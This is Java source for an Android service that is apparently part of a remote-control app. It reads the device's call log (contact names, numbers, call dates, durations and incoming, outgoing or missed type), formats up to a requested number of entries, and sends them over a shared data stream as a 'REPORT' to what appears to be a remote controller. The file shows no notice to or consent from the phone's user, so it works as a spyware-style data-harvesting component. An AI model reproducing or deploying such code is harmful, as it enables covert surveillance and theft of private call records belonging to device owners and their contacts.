
package com.example.control.service;

import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;

import com.example.control.ConectParams;
import com.example.control.ControlIds;
import com.example.control.elements.CallRecord;

import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.os.IBinder;
import android.provider.CallLog;
import android.widget.SimpleAdapter;

public class GetCallLogService extends Service {
    private ArrayList<CallRecord> mCallLogList = new ArrayList<CallRecord>();

    private StringBuilder mResult = new StringBuilder();

    private SimpleDateFormat mDateFormater;

    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onStart(Intent intent, int startId) {
        mDateFormater = new SimpleDateFormat("MM-dd HH:mm:ss E");
        ContentResolver cr = this.getContentResolver();
        Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI, new String[] {
                "name", "number", "duration", "type", "date"
        }, null, null, null);
        int num = intent.getIntExtra("num", 20);
        int temp = 0;
        if (cursor.moveToNext()) {
            do {
                String strName = cursor.getString(cursor.getColumnIndex("name"));
                System.out.println("name:" + strName);
                String strNumber = cursor.getString(cursor.getColumnIndex("number"));
                System.out.println("number:" + strNumber);
                long date = cursor.getLong(cursor.getColumnIndex("date"));
                System.out.println("date:" + date);
                long lDuration = cursor.getLong(cursor.getColumnIndex("duration"));
                System.out.println("lDuration:" + lDuration);
                if (strName == null) {
                    strName = "Unknown";
                }
                if ((strNumber == null) || (strNumber.equalsIgnoreCase("-1"))) {
                    strNumber = "Unknown";
                }
                CallRecord log = new CallRecord();
                log.name = strName;
                log.number = strNumber;
                log.date = mDateFormater.format(date);
                log.duration = timeParse(lDuration);
                int type = cursor.getInt(cursor.getColumnIndex("type"));
                System.out.println("type:" + type);
                if (type == 1) {
                    log.type = "来电";
                } else if (type == 2) {
                    log.type = "去电";
                } else {
                    log.type = "未接来电";
                }
                // mCallLogList.add(log);
                mResult.append(log.toString() + "\n");
                temp++;
                if (temp == num) {
                    break;
                }
            } while (cursor.moveToNext());
        }
        try {
            ConectParams.sDataOut.writeInt(ControlIds.REPORT);
            ConectParams.sDataOut.writeUTF("contact:" + mResult.toString());
            cursor.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        stopSelf();
    }

    @Override
    public void onDestroy() {
        // TODO Auto-generated method stub
        super.onDestroy();
    }

    public String timeParse(long time) {
        StringBuilder bu = new StringBuilder();
        if (time / 3600 != 0) {
            bu.append(time / 3600 + "小时");
            time = time % 3600;
        }
        if (time / 60 != 0) {
            bu.append(time / 60 + "分");
        }
        bu.append(time % 60 + "秒");
        return bu.toString();

    }
}
